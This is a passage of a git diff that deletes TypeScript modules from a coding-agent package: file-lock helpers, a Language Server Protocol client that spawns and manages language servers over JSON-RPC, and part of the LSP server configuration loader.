tryAcquireLockSync( - lockPath: string, - maxAttempts: number = DEFAULT_MAX_ATTEMPTS, - delayMs: number = DEFAULT_DELAY_MS, -): (() => void) | undefined { - for (let attempt = 1; attempt <= maxAttempts; attempt++) { - try { - return lockfile.lockSync(lockPath, { realpath: false }); - } catch (error) { - const code = - typeof error === "object" && error !== null && "code" in error - ? String((error as { code?: unknown }).code) - : undefined; - if (code !== "ELOCKED" || attempt === maxAttempts) { - // Non-fatal: proceed without lock rather than losing data - return undefined; - } - const start = Date.now(); - while (Date.now() - start < delayMs) { - // Busy-wait to avoid changing callers to async. - } - } - } - return undefined; -} - -export interface AsyncLockOptions { - /** Maximum staleness in ms before the lock is considered stale. */ - staleMs?: number; - /** Called if the lock is compromised while held. */ - onCompromised?: (err: Error) => void; -} - -/** - * Acquire an async file lock with retries and optional staleness detection. - * - * Uses `proper-lockfile`'s async API with exponential-backoff retries. - * - * @returns A release function (async) to unlock. - */ -export async function acquireLockAsync( - lockPath: string, - options?: AsyncLockOptions, -): Promise<() => Promise> { - return lockfile.lock(lockPath, { - retries: { - retries: 10, - factor: 2, - minTimeout: 100, - maxTimeout: 10000, - randomize: true, - }, - stale: options?.staleMs, - onCompromised: options?.onCompromised, - }); -} diff --git a/packages/pi-coding-agent/src/core/lsp/client.ts b/packages/pi-coding-agent/src/core/lsp/client.ts deleted file mode 100644 index b4cdfb6b8..000000000 --- a/packages/pi-coding-agent/src/core/lsp/client.ts +++ /dev/null @@ -1,1060 +0,0 @@ -import { spawn } from "node:child_process"; -import * as fsPromises from "node:fs/promises"; -import type { Writable } from "node:stream"; -import { killProcessTree } from "../../utils/shell.js"; -import { applyWorkspaceEdit } from "./edits.js"; -import { - isEnoent, - ToolAbortError, - throwIfAborted, - untilAborted, -} from "./helpers.js"; -import { getLspmuxCommand, isLspmuxSupported } from "./lspmux.js"; -import type { - Diagnostic, - LspClient, - LspJsonRpcNotification, - LspJsonRpcRequest, - LspJsonRpcResponse, - ServerConfig, - WorkspaceEdit, -} from "./types.js"; -import { detectLanguageId, fileToUri } from "./utils.js"; - -// ============================================================================= -// Client State -// ============================================================================= - -const clients = new Map(); -const clientLocks = new Map>(); -const fileOperationLocks = new Map>(); - -/** Track stream listeners per client so they can be removed on shutdown. */ -interface StreamHandlers { - stdoutData?: (chunk: Buffer) => void; - stdoutEnd?: () => void; - stdoutError?: () => void; - stderrData?: (chunk: Buffer) => void; - stderrEnd?: () => void; - stderrError?: () => void; -} -const clientStreamHandlers = new Map(); - -// Idle timeout configuration (disabled by default) -let idleTimeoutMs: number | null = null; -let idleCheckInterval: ReturnType | null = null; -const IDLE_CHECK_INTERVAL_MS = 60 * 1000; - -/** Maximum allowed size for the message buffer (10 MB). */ -const MAX_MESSAGE_BUFFER_SIZE = 10 * 1024 * 1024; - -/** - * Configure the idle timeout for LSP clients. - */ -export function setIdleTimeout(ms: number | null | undefined): void { - idleTimeoutMs = ms ?? null; - - if (idleTimeoutMs && idleTimeoutMs > 0) { - startIdleChecker(); - } else { - stopIdleChecker(); - } -} - -function startIdleChecker(): void { - if (idleCheckInterval) return; - idleCheckInterval = setInterval(() => { - if (!idleTimeoutMs) return; - const now = Date.now(); - for (const [key, client] of Array.from(clients.entries())) { - if (now - client.lastActivity > idleTimeoutMs) { - shutdownClient(key); - } - } - // Stop the checker if there are no more clients to monitor - if (clients.size === 0) { - stopIdleChecker(); - } - }, IDLE_CHECK_INTERVAL_MS); -} - -function stopIdleChecker(): void { - if (idleCheckInterval) { - clearInterval(idleCheckInterval); - idleCheckInterval = null; - } -} - -// ============================================================================= -// Client Capabilities -// ============================================================================= - -const CLIENT_CAPABILITIES = { - textDocument: { - synchronization: { - didSave: true, - dynamicRegistration: false, - willSave: false, - willSaveWaitUntil: false, - }, - hover: { - contentFormat: ["markdown", "plaintext"], - dynamicRegistration: false, - }, - definition: { - dynamicRegistration: false, - linkSupport: true, - }, - typeDefinition: { - dynamicRegistration: false, - linkSupport: true, - }, - implementation: { - dynamicRegistration: false, - linkSupport: true, - }, - references: { - dynamicRegistration: false, - }, - documentSymbol: { - dynamicRegistration: false, - hierarchicalDocumentSymbolSupport: true, - symbolKind: { - valueSet: [ - 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, - 21, 22, 23, 24, 25, 26, - ], - }, - }, - rename: { - dynamicRegistration: false, - prepareSupport: true, - }, - codeAction: { - dynamicRegistration: false, - codeActionLiteralSupport: { - codeActionKind: { - valueSet: [ - "quickfix", - "refactor", - "refactor.extract", - "refactor.inline", - "refactor.rewrite", - "source", - "source.organizeImports", - "source.fixAll", - ], - }, - }, - resolveSupport: { - properties: ["edit"], - }, - }, - callHierarchy: { - dynamicRegistration: false, - }, - signatureHelp: { - dynamicRegistration: false, - signatureInformation: { - documentationFormat: ["markdown", "plaintext"], - parameterInformation: { - labelOffsetSupport: true, - }, - }, - }, - formatting: { - dynamicRegistration: false, - }, - rangeFormatting: { - dynamicRegistration: false, - }, - publishDiagnostics: { - relatedInformation: true, - versionSupport: false, - tagSupport: { valueSet: [1, 2] }, - codeDescriptionSupport: true, - dataSupport: true, - }, - }, - workspace: { - applyEdit: true, - workspaceEdit: { - documentChanges: true, - resourceOperations: ["create", "rename", "delete"], - failureHandling: "textOnlyTransactional", - }, - configuration: true, - symbol: { - dynamicRegistration: false, - symbolKind: { - valueSet: [ - 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, - 21, 22, 23, 24, 25, 26, - ], - }, - }, - }, - experimental: { - snippetTextEdit: true, - }, -}; - -// ============================================================================= -// LSP Message Protocol -// ============================================================================= - -function parseMessage(buffer: Buffer): { - message: LspJsonRpcResponse | LspJsonRpcNotification | null; - remaining: Buffer; -} | null { - const headerEndIndex = findHeaderEnd(buffer); - if (headerEndIndex === -1) return null; - - const headerText = new TextDecoder().decode(buffer.slice(0, headerEndIndex)); - const contentLengthMatch = headerText.match(/Content-Length: (\d+)/i); - if (!contentLengthMatch) return null; - - const contentLength = Number.parseInt(contentLengthMatch[1], 10); - const messageStart = headerEndIndex + 4; // Skip \r\n\r\n - const messageEnd = messageStart + contentLength; - - if (buffer.length < messageEnd) return null; - - const messageBytes = buffer.subarray(messageStart, messageEnd); - const messageText = new TextDecoder().decode(messageBytes); - const remaining = Buffer.from(buffer.subarray(messageEnd)); - - let message: LspJsonRpcResponse | LspJsonRpcNotification; - try { - message = JSON.parse(messageText); - } catch (err) { - // Malformed JSON from LSP server — log and skip this message - if (process.env.DEBUG) { - const preview = - messageText.length > 200 - ? messageText.slice(0, 200) + "..." - : messageText; - console.error( - `[lsp] Dropped malformed JSON message: ${err instanceof Error ? err.message : err} — ${preview}`, - ); - } - return { message: null, remaining }; - } - - return { message, remaining }; -} - -function findHeaderEnd(buffer: Uint8Array): number { - for (let i = 0; i < buffer.length - 3; i++) { - if ( - buffer[i] === 13 && - buffer[i + 1] === 10 && - buffer[i + 2] === 13 && - buffer[i + 3] === 10 - ) { - return i; - } - } - return -1; -} - -async function writeMessage( - stdin: Writable | null, - message: LspJsonRpcRequest | LspJsonRpcNotification | LspJsonRpcResponse, -): Promise { - if (!stdin) { - throw new Error("LSP process stdin is not available"); - } - const content = JSON.stringify(message); - const header = `Content-Length: ${Buffer.byteLength(content, "utf-8")}\r\n\r\n`; - return new Promise((resolve, reject) => { - stdin.write(header + content, (err?: Error | null) => { - if (err) reject(err); - else resolve(); - }); - }); -} - -// ============================================================================= -// Message Reader -// ============================================================================= - -async function startMessageReader(client: LspClient): Promise { - if (client.isReading) return; - client.isReading = true; - - const stdout = client.proc.stdout; - if (!stdout) { - client.isReading = false; - return; - } - - return new Promise((resolve) => { - const handlers = clientStreamHandlers.get(client.name) ?? {}; - - handlers.stdoutData = async (chunk: Buffer) => { - const currentBuffer: Buffer = Buffer.concat([ - client.messageBuffer, - chunk, - ]); - - if (currentBuffer.length > MAX_MESSAGE_BUFFER_SIZE) { - if (process.env.DEBUG) { - console.error( - `[lsp] Message buffer exceeded ${MAX_MESSAGE_BUFFER_SIZE} bytes (${currentBuffer.length}), discarding`, - ); - } - client.messageBuffer = Buffer.alloc(0); - return; - } - - client.messageBuffer = currentBuffer; - - let workingBuffer = currentBuffer; - let parsed = parseMessage(workingBuffer); - while (parsed) { - const { message, remaining } = parsed; - workingBuffer = remaining; - - if (!message) { - parsed = parseMessage(workingBuffer); - continue; - } - - if ("id" in message && message.id !== undefined) { - const pending = client.pendingRequests.get(message.id); - if (pending) { - client.pendingRequests.delete(message.id); - if ("error" in message && message.error) { - pending.reject(new Error(`LSP error: ${message.error.message}`)); - } else { - pending.resolve(message.result); - } - } else if ("method" in message) { - await handleServerRequest(client, message as LspJsonRpcRequest); - } - } else if ("method" in message) { - if ( - message.method === "textDocument/publishDiagnostics" && - message.params - ) { - const params = message.params as { - uri: string; - diagnostics: Diagnostic[]; - }; - client.diagnostics.set(params.uri, params.diagnostics); - client.diagnosticsVersion += 1; - } - } - - parsed = parseMessage(workingBuffer); - } - - client.messageBuffer = workingBuffer; - }; - stdout.on("data", handlers.stdoutData); - - handlers.stdoutEnd = () => { - client.isReading = false; - resolve(); - }; - stdout.on("end", handlers.stdoutEnd); - - handlers.stdoutError = () => { - client.isReading = false; - resolve(); - }; - stdout.on("error", handlers.stdoutError); - - clientStreamHandlers.set(client.name, handlers); - }); -} - -// ============================================================================= -// Server Request Handlers -// ============================================================================= - -async function handleConfigurationRequest( - client: LspClient, - message: LspJsonRpcRequest, -): Promise { - if (typeof message.id !== "number") return; - const params = message.params as { items?: Array<{ section?: string }> }; - const items = params?.items ?? []; - const result = items.map((item) => { - const section = item.section ?? ""; - return client.config.settings?.[section] ?? {}; - }); - await sendResponse(client, message.id, result, "workspace/configuration"); -} - -async function handleApplyEditRequest( - client: LspClient, - message: LspJsonRpcRequest, -): Promise { - if (typeof message.id !== "number") return; - const params = message.params as { edit?: WorkspaceEdit }; - if (!params?.edit) { - await sendResponse( - client, - message.id, - { applied: false, failureReason: "No edit provided" }, - "workspace/applyEdit", - ); - return; - } - - try { - await applyWorkspaceEdit(params.edit, client.cwd); - await sendResponse( - client, - message.id, - { applied: true }, - "workspace/applyEdit", - ); - } catch (err: unknown) { - await sendResponse( - client, - message.id, - { applied: false, failureReason: String(err) }, - "workspace/applyEdit", - ); - } -} - -async function handleServerRequest( - client: LspClient, - message: LspJsonRpcRequest, -): Promise { - if (message.method === "workspace/configuration") { - await handleConfigurationRequest(client, message); - return; - } - if (message.method === "workspace/applyEdit") { - await handleApplyEditRequest(client, message); - return; - } - if (typeof message.id !== "number") return; - await sendResponse(client, message.id, null, message.method, { - code: -32601, - message: `Method not found: ${message.method}`, - }); -} - -async function sendResponse( - client: LspClient, - id: number, - result: unknown, - _method: string, - error?: { code: number; message: string; data?: unknown }, -): Promise { - const response: LspJsonRpcResponse = { - jsonrpc: "2.0", - id, - ...(error ? { error } : { result }), - }; - - try { - await writeMessage(client.proc.stdin, response); - } catch { - // Failed to respond to server request - } -} - -// ============================================================================= -// Stderr Buffer -// ============================================================================= - -async function startStderrReader(client: LspClient): Promise { - const stderr = client.proc.stderr; - if (!stderr) return; - - return new Promise((resolve) => { - const handlers = clientStreamHandlers.get(client.name) ?? {}; - - handlers.stderrData = (chunk: Buffer) => { - const text = chunk.toString("utf-8"); - client.stderrBuffer += text; - if (client.stderrBuffer.length > 4096) { - client.stderrBuffer = client.stderrBuffer.slice(-4096); - } - }; - stderr.on("data", handlers.stderrData); - - handlers.stderrEnd = () => { - resolve(); - }; - stderr.on("end", handlers.stderrEnd); - - handlers.stderrError = () => { - resolve(); - }; - stderr.on("error", handlers.stderrError); - - clientStreamHandlers.set(client.name, handlers); - }); -} - -// ============================================================================= -// Client Management -// ============================================================================= - -/** Timeout for warmup initialize requests (5 seconds) */ -export const WARMUP_TIMEOUT_MS = 5000; - -/** - * Get or create an LSP client for the given server configuration and working directory. - */ -export async function getOrCreateClient( - config: ServerConfig, - cwd: string, - initTimeoutMs?: number, -): Promise { - const maxRetries = 2; - let lastErr: unknown; - for (let attempt = 0; attempt <= maxRetries; attempt++) { - try { - return await getOrCreateClientOnce(config, cwd, initTimeoutMs); - } catch (err) { - lastErr = err; - if (attempt < maxRetries) { - await new Promise((resolve) => - setTimeout(resolve, 1000 * (attempt + 1)), - ); - } - } - } - throw lastErr; -} - -async function getOrCreateClientOnce( - config: ServerConfig, - cwd: string, - initTimeoutMs?: number, -): Promise { - const key = `${config.command}:${cwd}`; - - const existingClient = clients.get(key); - if (existingClient) { - existingClient.lastActivity = Date.now(); - return existingClient; - } - - const existingLock = clientLocks.get(key); - if (existingLock) { - return existingLock; - } - - const clientPromise = (async () => { - const baseCommand = config.resolvedCommand ?? config.command; - const baseArgs = config.args ?? []; - - // Wrap with lspmux if available and supported - const { command, args, env } = isLspmuxSupported(baseCommand) - ? await getLspmuxCommand(baseCommand, baseArgs) - : { command: baseCommand, args: baseArgs }; - - const proc = spawn(command, args, { - cwd, - stdio: ["pipe", "pipe", "pipe"], - env: env ? { ...process.env, ...env } : undefined, - // On Windows, executables like npx/tsc are .cmd scripts that need - // shell resolution. Without this, spawn fails with ENOENT (#1222). - shell: process.platform === "win32", - }); - - // Handle spawn failure (e.g., ENOENT when the command doesn't exist). - // Without this, the error bubbles up and can crash autonomous mode (#901). - proc.on("error", (err: NodeJS.ErrnoException) => { - if (err.code === "ENOENT") { - proc.emit("exit", 1); - } - }); - - const exitedPromise = new Promise((resolve) => { - proc.on("exit", (code: number | null) => resolve(code ?? 1)); - }); - - const client: LspClient = { - name: key, - cwd, - proc: { - stdin: proc.stdin, - stdout: proc.stdout, - stderr: proc.stderr, - pid: proc.pid ?? 0, - exitCode: null, - exited: exitedPromise, - kill: (signal?: number) => proc.kill(signal), - }, - config, - requestId: 0, - diagnostics: new Map(), - diagnosticsVersion: 0, - openFiles: new Map(), - pendingRequests: new Map(), - messageBuffer: Buffer.alloc(0), - isReading: false, - lastActivity: Date.now(), - stderrBuffer: "", - }; - clients.set(key, client); - - // Register crash recovery - exitedPromise.then((code: number) => { - client.proc.exitCode = code; - clients.delete(key); - clientLocks.delete(key); - - if (client.pendingRequests.size > 0) { - const stderr = client.stderrBuffer.trim(); - const err = new Error( - stderr - ? `LSP server exited (code ${code}): ${stderr}` - : `LSP server exited unexpectedly (code ${code})`, - ); - for (const pending of client.pendingRequests.values()) { - pending.reject(err); - } - client.pendingRequests.clear(); - } - }); - - // Start background readers - startMessageReader(client); - startStderrReader(client); - - try { - const initResult = (await sendRequest( - client, - "initialize", - { - processId: process.pid, - rootUri: fileToUri(cwd), - rootPath: cwd, - capabilities: CLIENT_CAPABILITIES, - initializationOptions: config.initOptions ?? {}, - workspaceFolders: [ - { uri: fileToUri(cwd), name: cwd.split("/").pop() ?? "workspace" }, - ], - }, - undefined, // signal - initTimeoutMs, - )) as { capabilities?: unknown }; - - if (!initResult) { - throw new Error("Failed to initialize LSP: no response"); - } - - client.serverCapabilities = - initResult.capabilities as LspClient["serverCapabilities"]; - - await sendNotification(client, "initialized", {}); - - return client; - } catch (err) { - clients.delete(key); - clientLocks.delete(key); - try { - killProcessTree(proc.pid ?? 0); - } catch { - proc.kill(); - } - throw err; - } finally { - clientLocks.delete(key); - } - })(); - - clientLocks.set(key, clientPromise); - return clientPromise; -} - -/** - * Ensure a file is opened in the LSP client. - */ -export async function ensureFileOpen( - client: LspClient, - filePath: string, - signal?: AbortSignal, -): Promise { - throwIfAborted(signal); - const uri = fileToUri(filePath); - const lockKey = `${client.name}:${uri}`; - - if (client.openFiles.has(uri)) { - return; - } - - const existingLock = fileOperationLocks.get(lockKey); - if (existingLock) { - await untilAborted(signal, () => existingLock); - return; - } - - const openPromise = (async () => { - throwIfAborted(signal); - if (client.openFiles.has(uri)) { - return; - } - - let content: string; - try { - content = await fsPromises.readFile(filePath, "utf-8"); - throwIfAborted(signal); - } catch (err: unknown) { - if (isEnoent(err)) return; - throw err; - } - const languageId = detectLanguageId(filePath); - throwIfAborted(signal); - - await sendNotification(client, "textDocument/didOpen", { - textDocument: { - uri, - languageId, - version: 1, - text: content, - }, - }); - - client.openFiles.set(uri, { version: 1, languageId }); - client.lastActivity = Date.now(); - })(); - - fileOperationLocks.set(lockKey, openPromise); - try { - await openPromise; - } finally { - fileOperationLocks.delete(lockKey); - } -} - -/** - * Refresh a file in the LSP client. - */ -export async function refreshFile( - client: LspClient, - filePath: string, - signal?: AbortSignal, -): Promise { - throwIfAborted(signal); - const uri = fileToUri(filePath); - const lockKey = `${client.name}:${uri}`; - - const existingLock = fileOperationLocks.get(lockKey); - if (existingLock) { - await untilAborted(signal, () => existingLock); - } - - const refreshPromise = (async () => { - throwIfAborted(signal); - const info = client.openFiles.get(uri); - - if (!info) { - await ensureFileOpen(client, filePath, signal); - return; - } - - let content: string; - try { - content = await fsPromises.readFile(filePath, "utf-8"); - throwIfAborted(signal); - } catch (err: unknown) { - if (isEnoent(err)) return; - throw err; - } - const version = ++info.version; - throwIfAborted(signal); - - await sendNotification(client, "textDocument/didChange", { - textDocument: { uri, version }, - contentChanges: [{ text: content }], - }); - throwIfAborted(signal); - - await sendNotification(client, "textDocument/didSave", { - textDocument: { uri }, - text: content, - }); - - client.lastActivity = Date.now(); - })(); - - fileOperationLocks.set(lockKey, refreshPromise); - try { - await refreshPromise; - } finally { - fileOperationLocks.delete(lockKey); - } -} - -/** - * Notify all LSP clients that have the file open that it changed on disk. - * Synchronous entry point — async refresh runs in background. - * Swallows errors so editing never fails because of LSP. - */ -export function notifyFileChanged(filePath: string): void { - const uri = fileToUri(filePath); - for (const client of clients.values()) { - if (client.openFiles.has(uri)) { - refreshFile(client, filePath).catch(() => {}); - } - } -} - -/** - * Remove stdout/stderr stream listeners for a client to prevent leaks. - */ -function removeStreamHandlers(client: LspClient): void { - const handlers = clientStreamHandlers.get(client.name); - if (!handlers) return; - - if (handlers.stdoutData) - client.proc.stdout?.removeListener("data", handlers.stdoutData); - if (handlers.stdoutEnd) - client.proc.stdout?.removeListener("end", handlers.stdoutEnd); - if (handlers.stdoutError) - client.proc.stdout?.removeListener("error", handlers.stdoutError); - if (handlers.stderrData) - client.proc.stderr?.removeListener("data", handlers.stderrData); - if (handlers.stderrEnd) - client.proc.stderr?.removeListener("end", handlers.stderrEnd); - if (handlers.stderrError) - client.proc.stderr?.removeListener("error", handlers.stderrError); - - clientStreamHandlers.delete(client.name); -} - -/** - * Shutdown a specific client by key. - */ -function shutdownClient(key: string): void { - const client = clients.get(key); - if (!client) return; - - for (const pending of Array.from(client.pendingRequests.values())) { - pending.reject(new Error("LSP client shutdown")); - } - client.pendingRequests.clear(); - - sendRequest(client, "shutdown", null).catch(() => {}); - - // Remove stream listeners before killing the process - removeStreamHandlers(client); - - try { - killProcessTree(client.proc.pid); - } catch { - client.proc.kill(); - } - clients.delete(key); - clientLocks.delete(key); - - // Clean up any file operation locks associated with this client - for (const lockKey of Array.from(fileOperationLocks.keys())) { - if (lockKey.startsWith(`${key}:`)) { - fileOperationLocks.delete(lockKey); - } - } -} - -// ============================================================================= -// LSP Protocol Methods -// ============================================================================= - -const DEFAULT_REQUEST_TIMEOUT_MS = 30000; - -export async function sendRequest( - client: LspClient, - method: string, - params: unknown, - signal?: AbortSignal, - timeoutMs: number = DEFAULT_REQUEST_TIMEOUT_MS, -): Promise { - const id = ++client.requestId; - if (signal?.aborted) { - const reason = - signal.reason instanceof Error ? signal.reason : new ToolAbortError(); - return Promise.reject(reason); - } - - const request: LspJsonRpcRequest = { - jsonrpc: "2.0", - id, - method, - params, - }; - - client.lastActivity = Date.now(); - - const { promise, resolve, reject } = Promise.withResolvers(); - let timeout: NodeJS.Timeout | undefined; - const cleanup = () => { - if (signal) { - signal.removeEventListener("abort", abortHandler); - } - }; - const abortHandler = () => { - if (client.pendingRequests.has(id)) { - client.pendingRequests.delete(id); - } - void sendNotification(client, "$/cancelRequest", { id }).catch(() => {}); - if (timeout) clearTimeout(timeout); - cleanup(); - const reason = - signal?.reason instanceof Error ? signal.reason : new ToolAbortError(); - reject(reason); - }; - - timeout = setTimeout(() => { - if (client.pendingRequests.has(id)) { - client.pendingRequests.delete(id); - const err = new Error( - `LSP request ${method} timed out after ${timeoutMs}ms`, - ); - cleanup(); - reject(err); - } - }, timeoutMs); - if (signal) { - signal.addEventListener("abort", abortHandler, { once: true }); - if (signal.aborted) { - abortHandler(); - return promise; - } - } - - client.pendingRequests.set(id, { - resolve: (result: unknown) => { - if (timeout) clearTimeout(timeout); - cleanup(); - resolve(result); - }, - reject: (err: Error) => { - if (timeout) clearTimeout(timeout); - cleanup(); - reject(err); - }, - method, - }); - - writeMessage(client.proc.stdin, request).catch((err: Error) => { - if (timeout) clearTimeout(timeout); - client.pendingRequests.delete(id); - cleanup(); - reject(err); - }); - return promise; -} - -async function sendNotification( - client: LspClient, - method: string, - params: unknown, -): Promise { - const notification: LspJsonRpcNotification = { - jsonrpc: "2.0", - method, - params, - }; - - client.lastActivity = Date.now(); - try { - await writeMessage(client.proc.stdin, notification); - } catch (err: unknown) { - // EPIPE means the LSP process died (e.g. after lsp.reload killed it). - // Swallow so callers don't crash — the next getOrCreateClient call - // will spawn a fresh server (#815). - if ( - err instanceof Error && - "code" in err && - (err as NodeJS.ErrnoException).code === "EPIPE" - ) { - return; - } - throw err; - } -} - -/** - * Shutdown all LSP clients. - */ -function shutdownAll(): void { - const clientsToShutdown = Array.from(clients.values()); - clients.clear(); - clientLocks.clear(); - fileOperationLocks.clear(); - stopIdleChecker(); - - const err = new Error("LSP client shutdown"); - for (const client of clientsToShutdown) { - const reqs = Array.from(client.pendingRequests.values()); - client.pendingRequests.clear(); - for (const pending of reqs) { - pending.reject(err); - } - - // Remove stream listeners before killing the process - removeStreamHandlers(client); - - void (async () => { - const timeout = new Promise((resolve) => - setTimeout(resolve, 5_000), - ); - const result = sendRequest(client, "shutdown", null).catch(() => {}); - await Promise.race([result, timeout]); - try { - killProcessTree(client.proc.pid); - } catch { - client.proc.kill(); - } - })().catch(() => {}); - } -} - -/** Status of an LSP server */ -export interface LspServerStatus { - name: string; - status: "connecting" | "ready" | "error"; - fileTypes: string[]; - error?: string; -} - -export function getActiveClients(): LspServerStatus[] { - return Array.from(clients.values()).map((client) => ({ - name: client.config.command, - status: "ready" as const, - fileTypes: client.config.fileTypes, - })); -} - -// ============================================================================= -// Process Cleanup -// ============================================================================= - -const _beforeExitHandler = () => shutdownAll(); -const _sigintHandler = () => { - shutdownAll(); - process.exit(0); -}; -const _sigtermHandler = () => { - shutdownAll(); - process.exit(0); -}; - -if (typeof process !== "undefined") { - process.on("beforeExit", _beforeExitHandler); - process.on("SIGINT", _sigintHandler); - process.on("SIGTERM", _sigtermHandler); -} - -/** - * Remove process-level signal handlers registered at module load. - * Call this during graceful teardown to prevent leaked listeners. - */ -export function removeProcessHandlers(): void { - process.off("beforeExit", _beforeExitHandler); - process.off("SIGINT", _sigintHandler); - process.off("SIGTERM", _sigtermHandler); -} diff --git a/packages/pi-coding-agent/src/core/lsp/config.ts b/packages/pi-coding-agent/src/core/lsp/config.ts deleted file mode 100644 index fadfeeff3..000000000 --- a/packages/pi-coding-agent/src/core/lsp/config.ts +++ /dev/null @@ -1,414 +0,0 @@ -import { spawnSync } from "node:child_process"; -import * as fs from "node:fs"; -import { globSync } from "node:fs"; -import { createRequire } from "node:module"; -import * as os from "node:os"; -import * as path from "node:path"; -import YAML from "yaml"; -import { CONFIG_DIR_NAME } from "../../config.js"; -import { isRecord } from "./helpers.js"; -import type { ServerConfig } from "./types.js"; - -const require = createRequire(import.meta.url); -const DEFAULTS = require("./defaults.json") as Record< - string, - Partial ->; - -/** Map legacy server keys to their current names so user overrides still merge. */ -const LEGACY_ALIASES: Record = { - "kotlin-language-server": "kotlin-lsp", -}; - -export interface LspConfig { - servers: Record; - /** Idle timeout in milliseconds. If set, LSP clients will be shutdown after this period of inactivity. Disabled by default. */ - idleTimeoutMs?: number; -} - -// ============================================================================= -// Default Server Configuration Loading -// ============================================================================= - -const PID_TOKEN = "$PID"; - -interface NormalizedConfig { - servers: Record>; - idleTimeoutMs?: number; -} - -function parseConfigContent(content: string, filePath: string): unknown { - const extension = path.extname(filePath).toLowerCase(); - if (extension === ".yaml" || extension === ".yml") { - return YAML.parse(content) as unknown; - } - return JSON.parse(content) as unknown; -} - -function normalizeConfig(value: unknown): NormalizedConfig | null { - if (!isRecord(value)) return null; - - const idleTimeoutMs = - typeof value.idleTimeoutMs === "number" ? value.idleTimeoutMs : undefined; - const rawServers = value.servers; - - if (isRecord(rawServers)) { - return { - servers: rawServers as Record>, - idleTimeoutMs, - }; - } - - const servers = Object.fromEntries( - Object.entries(value).filter(([key]) => key !== "idleTimeoutMs"), - ) as Record>; - - return { servers, idleTimeoutMs }; -} - -function normalizeStringArray(value: unknown): string[] | null { - if (!Array.isArray(value)) return null; - const items = value.filter( - (entry): entry is string => typeof entry === "string" && entry.length > 0, - ); - return items.length > 0 ? items : null; -} - -function normalizeServerConfig( - _name: string, - config: Partial, -): ServerConfig | null { - const command = - typeof config.command === "string" && config.command.length > 0 - ? config.command - : null; - const fileTypes = normalizeStringArray(config.fileTypes); - const rootMarkers = normalizeStringArray(config.rootMarkers); - - if (!command || !fileTypes || !rootMarkers) { - return null; - } - - const args = Array.isArray(config.args) - ? config.args.filter((entry): entry is string => typeof entry === "string") - : undefined; - - return { - ...config, - command, - args, - fileTypes, - rootMarkers, - }; -} - -function readConfigFile(filePath: string): NormalizedConfig | null { - try { - const content = fs.readFileSync(filePath, "utf-8"); - const parsed = parseConfigContent(content, filePath); - return normalizeConfig(parsed); - } catch { - return null; - } -} - -function coerceServerConfigs( - servers: Record>, -): Record { - const result: Record = {}; - for (const [name, config] of Object.entries(servers)) { - const normalized = normalizeServerConfig(name, config); - if (normalized) { - result[name] = normalized; - } - } - return result; -} - -function mergeServers( - base: Record, - overrides: Record>, -): Record { - const merged: Record = { ...base }; - for (const [rawName, config] of Object.entries(overrides)) { - const name = LEGACY_ALIASES[rawName] ?? rawName; - if (merged[name]) { - const candidate = { ...merged[name], ...config }; - const normalized = normalizeServerConfig(name, candidate); - if (normalized) { - merged[name] = normalized; - } - } else { - const normalized = normalizeServerConfig(name, config); - if (normalized) { - merged[name] = normalized; - } - } - } - return merged; -} - -function applyRuntimeDefaults( - servers: Record, -): Record { - const updated: Record = { ...servers }; - - if (updated.omnisharp?.args) { - const args = updated.omnisharp.args.map((arg: string) => - arg === PID_TOKEN ? String(process.pid) : arg, - ); - updated.omnisharp = { ...updated.omnisharp, args }; - } - - return updated; -} - -// ============================================================================= -// Configuration Loading -// ============================================================================= - -export function hasRootMarkers(cwd: string, markers: string[]): boolean { - for (const marker of markers) { - if (marker.includes("*")) { - try { - const matches = globSync(marker, { cwd }); - if (matches.length > 0) { - return true; - } - } catch { - // Failed to resolve glob root marker - } - continue; - } - const filePath = path.join(cwd, marker); - if (fs.existsSync(filePath)) { - return true; - } - } - return false; -} - -// ============================================================================= -// Local Binary Resolution -// ============================================================================= - -const LOCAL_BIN_PATHS: Array<{ markers: string[]; binDirs: string[] }> = [ - { - markers: [ - "package.json", - "package-lock.json", - "yarn.lock", - "pnpm-lock.yaml", - ], - binDirs: ["node_modules/.bin"], - }, - { - markers: ["pyproject.toml", "requirements.txt", "setup.py", "Pipfile"], - binDirs: [".venv/bin", ".venv/Scripts"], - }, - { - markers: ["pyproject.toml", "requirements.txt", "setup.py", "Pipfile"], - binDirs: ["venv/bin", "venv/Scripts"], - }, - { - markers: ["pyproject.toml", "requirements.txt", "setup.py", "Pipfile"], - binDirs: [".env/bin", ".env/Scripts"], - }, - { markers: ["Gemfile", "Gemfile.lock"], binDirs: ["vendor/bundle/bin"] }, - { markers: ["Gemfile", "Gemfile.lock"], binDirs: ["bin"] }, - { markers: ["go.mod", "go.sum"], binDirs: ["bin"] }, -]; - -function getWindowsBinaryCandidates(command: string): string[] { - const ext = path.extname(command).toLowerCase(); - if (ext) { - return [command]; - } - - return [command, `${command}.cmd`, `${command}.bat`, `${command}.exe`]; -} - -export function resolveLocalBinaryPath( - command: string, - cwd: string, - isWindows: boolean, -): string | null { - for (const { markers, binDirs } of LOCAL_BIN_PATHS) { - if (!hasRootMarkers(cwd, markers)) continue; - - for (const binDir of binDirs) { - const basePath = path.join(cwd, binDir, command); - const candidates = isWindows - ? getWindowsBinaryCandidates(basePath) - : [basePath]; - - for (const candidate of candidates) { - if (fs.existsSync(candidate)) { - return candidate; - } - } - } - } - - return null; -} - -export function which(command: string): string | null { - // On Windows, prefer `where.exe` over `which` — MSYS/Git Bash's `which` - // returns POSIX paths (/c/Users/...) that Node's spawn() can't execute. - // `where.exe` returns native Windows paths (C:\Users\...). - const isWindows = process.platform === "win32"; - const cmd = isWindows ? "where.exe" : "which"; - const result = spawnSync(cmd, [command], { - encoding: "utf-8", - shell: isWindows, - }); - if (result.status !== 0) return null; - // `where.exe` may return multiple lines — take the first - const resolved = result.stdout.trim().split(/\r?\n/)[0]?.trim(); - return resolved || null; -} - -export function resolveCommand(command: string, cwd: string): string | null { - const localPath = resolveLocalBinaryPath( - command, - cwd, - process.platform === "win32", - ); - if (localPath) return localPath; - return which(command); -} - -/** - * Configuration file search paths (in priority order). - */ -function getConfigPaths(cwd: string): string[] { - const filenames = [ - "lsp.json", - ".lsp.json", - "lsp.yaml", - ".lsp.yaml", - "lsp.yml", - ".lsp.yml", - ]; - const paths: string[] = []; - - // Project root files (highest priority) - for (const filename of filenames) { - paths.push(path.join(cwd, filename)); - } - - // Project config directory - const projectConfigDir = path.join(cwd, CONFIG_DIR_NAME); - for 